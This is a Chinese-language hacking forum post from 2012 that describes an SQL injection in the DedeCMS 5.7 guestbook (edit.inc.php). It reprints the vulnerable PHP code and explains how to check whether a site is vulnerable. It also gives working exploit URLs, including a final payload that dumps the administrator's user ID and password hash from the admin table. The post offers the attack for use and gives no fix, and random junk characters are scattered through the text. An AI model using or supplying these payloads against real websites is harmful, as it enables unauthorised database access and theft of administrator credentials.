找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3746|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7  {8 p8 V3 U) V; E  _: }0 O

9 V8 @/ K! m1 ^) A! Y漏洞文件edit.inc.php具体代码:" W9 w8 q& k% _  U8 q" M
5 q$ d0 E* ]& G
< ?php  
% b6 G+ R2 X% v4 s0 b2 z7 z( l- M' Q
if(!defined('DEDEINC')) exit('Request Error!');  
$ [0 i0 x! v: G
9 G3 b, {% J# o0 n6 ]   
. d- z7 ~& E6 o+ R6 ~8 n( {% }& [: Z
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ! P+ Y8 K! X2 M$ k3 D
; E+ `8 g+ c- _# x0 O  c! W
else $GUEST_BOOK_POS = "guestbook.php";  ; U1 s# y9 H2 U2 A# d5 Y3 L) [
2 P$ }8 _( L. b+ Y2 M
   
) z4 c& K) w$ m( {7 u2 d' A0 J: ?7 l- ]3 e
$id = intval($id);  % r% D0 \1 Z4 Y( J* F+ q

2 t. {0 b& g8 |! y! Z/ |if(empty($job)) $job='view';  ; j" d8 ^3 K1 ]1 R
. {0 ]% e3 l, `
   
3 V) J3 p" w8 O& ~  W$ A. R" f4 @5 d, y3 c
if($job=='del' && $g_isadmin)  
. ^: n9 c9 X3 G( a0 {% T- L+ b8 ]- H; }2 i
{  ! ~( n' r6 H5 g) c

3 V5 a6 |1 Q6 @7 p- E3 w7 i1 }  g$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
8 _2 s. `0 S7 v5 u5 g# Y
1 m2 Q* H) ^  \+ D4 RShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  4 o+ f: f3 A& d+ ~4 ^; P" F
# V# q9 p/ q& p( P
exit();  
4 `, F& n% v- s8 c' x  [" Q- y
$ `6 N5 x1 ^; j, \4 g; K5 Q# T7 ~}  
: F9 |) V- u( l5 j) ?6 L4 u' x$ Z7 e' B  r* x
else if($job=='check' && $g_isadmin)  " O$ d1 E0 @1 M6 T! C

8 W$ U, `  H% u' B0 r3 u9 J# |# E9 n1 s{  " @8 Q+ x: @6 [' w. l

8 r9 m$ h. _6 r; S/ }$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  5 Z9 X3 K8 W( [- t8 v
2 j) l7 m( T3 C. J
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
+ K; E  t# y5 {
* \! K# ~4 l" T, W6 \( l6 Hexit();  3 J: P+ V* b) K. E& k1 T- z- r; R0 C+ Q
% i! ^$ }4 q# m9 ]" Y; }
}  
& Y) \+ {; }9 v/ }( Y) |& `( b9 t0 ?
else if($job=='editok')  / {9 n: t" {4 C( ?3 @# ~
- l1 g9 j8 o8 g  [4 q9 H
{  ( l' N5 d* U2 K/ N) y$ C

$ B! J5 O0 @# J# W: I7 M  Y7 B$remsg = trim($remsg);  
, E7 T! |" j; @. G" b2 s5 ~4 ^
; _* \' F2 ^# g9 ^& @! U3 Z6 _1 `; ?if($remsg!='')  - Y9 V, ^% U3 ]! b/ k' a, P

# w$ l1 E$ z$ F9 q: L{  ! \* S, X! a9 w

& E; O" H# d, X& @//管理员回复不过滤HTML By:Errorera blog:errs.cc    _* {2 d0 W* Q/ A- J3 W

0 T) k- b- o4 D! Y% H. T: E9 eif($g_isadmin)  
  Z  T' u' l6 `
( d  t+ ~! |' B{  
8 G9 |$ O! {9 ?2 r% ]9 ?. @, C2 Y4 T
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
8 _4 t5 ~* \. |* z2 q. R! n
$ M( c; G  B* z: ^: a) A//$remsg <br /><font color=red>管理员回复:</font> }  
$ @5 y% L$ \9 F
- G0 G  L/ O+ O2 v, velse 5 K" C1 G! ?$ q7 B+ \2 O4 z
/ B# ]0 y* [% b$ o+ T! Y
{  
' g' a: ?* x' s/ M+ V% u) m1 L3 t- M5 M9 l, P( |# F
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  : r" P# P4 h: e+ Q0 U; I% I9 B* ?

* e+ C) _1 v( e$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  1 g/ q( Y/ B6 k" o

6 B7 I6 L/ }1 e  {+ Z. h2 B5 H$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  9 C2 S; g9 e% A# s2 ]- x* B

( j. @8 o+ o6 ^' H. s; S% Y7 e$msg = $oldmsg.$remsg;  
) Z, h- x3 b; q& k2 g% d# Z) J' a3 ]- r% K/ H4 m& _& e
}  
: r7 q; s( m- s" @' ]! b7 r7 j7 G( B+ K! ^1 N
}  0 p! T) @1 B2 z  J1 ?
" I6 O; j( u  C* b$ E
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
7 ~' v+ ?& g! g$ ]+ T9 k. x" y. u
- g, N& p: [, ?$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
9 g- `4 {* s/ `' B7 _0 v
  o) X3 Q0 D8 k1 i$ r: f$ lShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  1 E3 {5 s$ B9 M  I$ P3 H* o- U

" D: z$ p" ]6 I* h* texit();  / C' X/ a1 [( _* k* Q: O* ^
- V: o( r0 l- E% w3 K; [
}  5 h" d. d4 R2 e. Y2 ]+ h: |) s
" @! x( `3 V5 C
//home:www.errs.cc  " q8 U% j* b8 q. S1 S' C& i
5 Q" ^, I+ y4 g2 x) z
if($g_isadmin)  
' d2 M! G6 l3 {. A
+ o9 m3 U8 O5 V( @1 l4 Q; v- C{  " U( x' k8 m4 @

6 l  I) [5 z1 V' Z; P$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  4 h$ f5 g9 ^' g3 m% O) T

1 i6 n1 s4 a9 r5 D: n: trequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  , e" h) @* H9 o0 Y# J& @

# c7 W2 r; a' F4 F, C8 Y0 k" C}  4 |% }5 _# v9 V/ A" X1 p* l

( d; ^3 B. C  V9 G9 C! \2 Yelse " g$ n4 \8 Q/ Y) ^5 w

$ O5 L0 U2 q2 _* M7 W4 o$ f& ~4 m{  : \* A3 E- {+ N) J

  B4 E4 ?" H! a( [$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
: p. z: M, p5 y; J6 J$ o6 G/ o1 T0 b( x; S7 C
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
& p1 w( P0 h0 V* T" X: V- \, n% g, F  _% r$ @0 d. S' T
} 漏洞成功需要条件:# K& _8 p; l3 P
1. php magic_quotes_gpc=off
" h6 I" k1 F) M, k) F3 j. G- C2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。( o* q* ^+ Z& [
6 f' v: J* i; Y. r/ r: w, U
怎么判断是否存在漏洞:
7 r- Q2 Y% s! }$ r先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
# g1 C- Z/ u: d: W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
' _6 l2 r' N: K1 `访问:
9 l  b2 G7 H' I
8 f( u% C: g2 n4 i& e8 U' B: f( B9 C3 Nwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了5 `0 S- ?3 t5 C/ t9 I* ^
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 v+ r5 t# S0 A  l$ P# r! O
2 T% s: \/ o6 L0 @6 q# r
% q2 a$ b1 {( J2 j明漏洞无法利用应为他开启了 php magic_quotes_gpc=off# t* J  U' B4 Q1 L$ a  E- ^
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
4 p  D" [( L& P那么再次访问
3 A, _; O8 J9 e; ]8 r' n6 x# ^
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user()., Y6 H( z1 m$ ~! h! n; }4 ]: ?" Y

; p3 D" `' i# l8 Q大概利用就是这样,大家有兴趣的多研究下!!$ L0 a/ f; o% Z" m# g+ k, m6 b$ i
  ]; e+ O; b% a# X3 g
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 J2 G% K+ N; L! u3 T9 p
# Q$ q, C: J: u6 q: [+ R
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表